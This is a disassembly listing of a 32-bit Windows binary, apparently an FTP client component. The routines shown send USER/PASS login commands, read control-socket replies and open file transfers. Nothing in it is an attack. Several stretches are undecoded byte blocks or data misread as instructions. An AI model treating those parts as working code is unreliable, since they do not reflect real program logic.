		dd 83778133h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42DAD0:				; CODE XREF: ___:00401D8Ej
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42DAE3
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42DAE3
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


loc_42DAE3:				; CODE XREF: ___:0042DAD6j
					; ___:0042DADDj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DB00	proc near		; CODE XREF: sub_401A7Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		call	near ptr 77C46125h
		nop
		mov	ebp, eax
		push	3Ah
		push	ebp
		nop
		call	near ptr 77C47660h
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42DB74
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_43828C
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44741C68h, 8BE89000h, 83778092h, 0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42DB74:				; CODE XREF: sub_42DB00+47j
		mov	[esi], bl
		mov	eax, dword_511A7C
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42DB92
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		nop
		call	near ptr 77C1C561h
		add	esp, 8
		jmp	short loc_42DBA2
; ---------------------------------------------------------------------------


loc_42DB92:				; CODE XREF: sub_42DB00+7Fj
		mov	eax, dword_511B1C
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42DBA2:				; CODE XREF: sub_42DB00+90j
		cmp	eax, ebx
		jz	short loc_42DBBD
		push	esi
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		push	eax
		call	sub_43822C
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42DBD1
; ---------------------------------------------------------------------------


loc_42DBBD:				; CODE XREF: sub_42DB00+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_43828C
sub_42DB00	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DBD1	proc near		; CODE XREF: sub_42DB00+BBj
		push	ebp
		call	sub_4381EA
sub_42DBD1	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42DC1D
		push	ebp
		call	sub_4381DE
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 0C681875h, 90004474h, 8091FDE8h, 4C48377h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42DC1D:				; CODE XREF: ___:0042DBDEj
		push	ebp
		mov	ebp, dword_511AD0
		call	ebp	; free
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 447404h, 91ACE890h, 0C4837780h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 13E85700h,	830000A6h, 775FFF8h, 4473F468h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h
		dd 71F46807h, 1BEB0044h, 14468h, 90016A00h, 7FE42AE8h
		dd 83F08B77h, 0F33B08C4h, 0EC681E75h, 0E8004473h, 77809146h
		dd 4C48390h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 3CE89000h, 83777FE7h, 0C33B04C4h, 75144689h
		dd 73EC6824h, 0E8900044h, 77809112h, 5704C483h,	0A513E8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE00	proc near		; CODE XREF: ___:0042E556p
					; sub_42F2C0+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE3A


loc_42DE22:				; CODE XREF: sub_42DE00+8Ej
					; sub_42DE00+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DE3A:				; CODE XREF: sub_42DE00+20j
		mov	eax, dword_5103A8
		mov	ebx, dword_511A8C
		cmp	eax, 1
		jle	short loc_42DE5E
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42DE5E:				; CODE XREF: sub_42DE00+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42DEDE
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		nop
		call	near ptr 77C47A90h
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42DF40
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42DE22
		mov	ebp, dword_511AE0


loc_42DE96:				; CODE XREF: sub_42DE00+D7j
		cmp	dword_5103A8, 1
		jle	short loc_42DEB4
		mov	edx, dword_511A90
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42DEB4:				; CODE XREF: sub_42DE00+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42DEDE
		push	edi
		push	100h
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE96
		jmp	loc_42DE22
; ---------------------------------------------------------------------------


loc_42DEDE:				; CODE XREF: sub_42DE00+62j
					; sub_42DE00+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42DE00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DF40	proc near		; CODE XREF: sub_42DE00+15p
					; sub_42DE00+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42DF70
		cmp	eax, 1
		jz	short loc_42DF70
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF70:				; CODE XREF: sub_42DF40+1Ej
					; sub_42DF40+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42DF82
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF82:				; CODE XREF: sub_42DF40+36j
					; sub_42DF40+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42DFD3
		cmp	ebx, edi
		jge	short loc_42DF90
		lea	edi, [ebx-1]


loc_42DF90:				; CODE XREF: sub_42DF40+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		nop
		call	near ptr 77C46170h
		add	esp, 10h
		test	eax, eax
		jz	short loc_42DFA9
		mov	edi, eax
		sub	edi, ebp


loc_42DFA9:				; CODE XREF: sub_42DF40+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42E05A


loc_42DFD3:				; CODE XREF: sub_42DF40+47j
		cmp	ebx, 1
		jz	loc_42E0AD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42DFFB
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42DFFB:				; CODE XREF: sub_42DF40+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42E0C0
		push	esi
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	loc_42E0F2
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E0DC
		test	eax, eax
		jnz	short loc_42E03F
		mov	[esp+18h+var_4], 1


loc_42E03F:				; CODE XREF: sub_42DF40+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42DF82
; ---------------------------------------------------------------------------


loc_42E05A:				; CODE XREF: sub_42DF40+8Dj
		sub	ebp, 2
		mov	esi, offset asc_4471E4 ; "\r\n"
		mov	eax, ebp


loc_42E064:				; CODE XREF: sub_42DF40+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		test	cl, cl
		jz	short loc_42E088
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42E064


loc_42E088:				; CODE XREF: sub_42DF40+130j
		xor	eax, eax
		jmp	short loc_42E091
; ---------------------------------------------------------------------------


loc_42E08C:				; CODE XREF: sub_42DF40+12Cj
					; sub_42DF40+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42E091:				; CODE XREF: sub_42DF40+14Aj
		test	eax, eax
		jnz	short loc_42E0F2
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0AD:				; CODE XREF: sub_42DF40+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0C0:				; CODE XREF: sub_42DF40+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42E0F2
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0DC:				; CODE XREF: sub_42DF40+EDj
		push	offset aRead	; "read"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42E0F2:				; CODE XREF: sub_42DF40+D2j
					; sub_42DF40+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42DF40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E170	proc near		; CODE XREF: sub_42DF40+C8p
					; sub_42EF60:loc_42EF8Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42E253
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42E253
		cmp	eax, 2
		jnz	short loc_42E1A5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42E1A9
; ---------------------------------------------------------------------------


loc_42E1A5:				; CODE XREF: sub_42E170+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42E1A9:				; CODE XREF: sub_42E170+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42E1B0:				; CODE XREF: sub_42E170+98j
		cmp	eax, 40h
		jnb	short loc_42E1C5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42E1C5:				; CODE XREF: sub_42E170+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_438208
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42E20A
		test	eax, eax
		jg	short loc_42E241
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42E246
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42E1B0
; ---------------------------------------------------------------------------


loc_42E20A:				; CODE XREF: sub_42E170+79j
		push	100h
		xor	edi, edi
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		call	near ptr 77C371FAh
		nop
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E241:				; CODE XREF: sub_42E170+7Dj
		mov	edi, 1


loc_42E246:				; CODE XREF: sub_42E170+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E253:				; CODE XREF: sub_42E170+19j
					; sub_42E170+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42E170	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2B0:				; CODE XREF: ___:0040141Aj
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42E35F	; default
		jmp	off_42E364[eax*4] ; switch jump


loc_42E2C7:				; DATA XREF: ___:off_42E364o
		mov	eax, [esp+8]	; jumptable 0042E2C0 case 0
		cmp	eax, 1
		jz	short loc_42E2D9
		cmp	eax, 2
		jnz	loc_42E35F	; default


loc_42E2D9:				; CODE XREF: ___:0042E2CEj
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2E8:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	edx, [esp+0Ch]	; jumptable 0042E2C0 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2FB:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		push	esi		; jumptable 0042E2C0 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E33C:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E34F:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42E35F:				; CODE XREF: ___:0042E2BAj
					; ___:0042E2D3j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42E364	dd offset loc_42E2C7	; DATA XREF: ___:0042E2C0r
		dd offset loc_42E2E8	; jump table for switch	statement
		dd offset loc_42E2FB
		dd offset loc_42E33C
		dd offset loc_42E34F
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E3C0	proc near		; CODE XREF: sub_402266j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	edi, dword_511A6C
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi	; sprintf
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E42D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E42D:				; CODE XREF: sub_42E3C0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi	; sprintf
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E451:				; CODE XREF: sub_42E3C0+1Bj
					; sub_42E3C0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42E3C0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E490	proc near		; CODE XREF: sub_42E3C0+51p
					; sub_42E3C0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42E4B3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4B3:				; CODE XREF: sub_42E490+15j
		mov	eax, dword_5103A8
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2


loc_42E4C2:				; CODE XREF: ___:0042E53Dj
		jle	short loc_42E4DC
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		nop
		call	near ptr 77C40E13h
		add	esp, 0Ch


loc_42E4DC:				; CODE XREF: sub_42E490:loc_42E4C2j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42E4FC
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4FC:				; CODE XREF: sub_42E490+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset aS_3	; "%s\r\n"
		push	ecx
		call	near ptr 77C3F931h
		nop
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_4381F6
sub_42E490	endp

; ---------------------------------------------------------------------------
		db 85h
; ---------------------------------------------------------------------------
		sar	byte ptr [edi+1Ah], 68h
		jo	short near ptr byte_42E5AA
		inc	esp
		add	[eax-7F774B18h], dl
		ja	short loc_42E4C2
		les	eax, [ebx+esi]
		rcr	byte ptr [edi+5Eh], 5Bh
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [esp+114h]
		push	ebx
		push	ecx
		call	sub_42DE00
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 3Ah dup(0CCh)
byte_42E5AA	db 6 dup(0CCh)		; CODE XREF: ___:0042E534j

; =============== S U B	R O U T	I N E =======================================



sub_42E5B0	proc near		; CODE XREF: sub_401F73j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42E5FC
		cmp	edi, 4
		jz	short loc_42E5D6
		cmp	edi, 3
		jnz	short loc_42E5FC


loc_42E5D6:				; CODE XREF: sub_42E5B0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C3F931h
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E5FC:				; CODE XREF: sub_42E5B0+1Aj
					; sub_42E5B0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_511A6C
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_4474B8
		push	edx
		call	ebp	; sprintf
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	loc_42E7BE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42E7AF	; default
		jmp	off_42E7CC[eax*4] ; switch jump


loc_42E648:				; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_4474B0 ; jumptable 0042E641 case 1
		mov	dl, byte_4474B4
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E663:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	eax, dword_4474A8 ; jumptable 0042E641 case 2
		mov	cl, byte_4474AC
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E67D:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	edx, dword_4474A0 ; jumptable 0042E641 case 3
		mov	al, byte_4474A4
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E697:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_447498 ; jumptable 0042E641 case 4
		mov	dl, byte_44749C
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42E6B0:				; CODE XREF: sub_42E5B0+B1j
					; sub_42E5B0+CBj ...
		test	esi, esi
		jz	short loc_42E703
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42E7BE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42E703:				; CODE XREF: sub_42E5B0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42E870
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E7BE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E758
		mov	eax, [esi]
		push	eax
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E758:				; CODE XREF: sub_42E5B0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42E79F
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42ED50
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E79F
		mov	ecx, [esi]
		push	ecx
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E79F:				; CODE XREF: sub_42E5B0+1B8j
					; sub_42E5B0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E7AF:				; CODE XREF: sub_42E5B0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp	; sprintf
		add	esp, 0Ch


loc_42E7BE:				; CODE XREF: sub_42E5B0+7Fj
					; sub_42E5B0+12Cj ...
		pop	edi
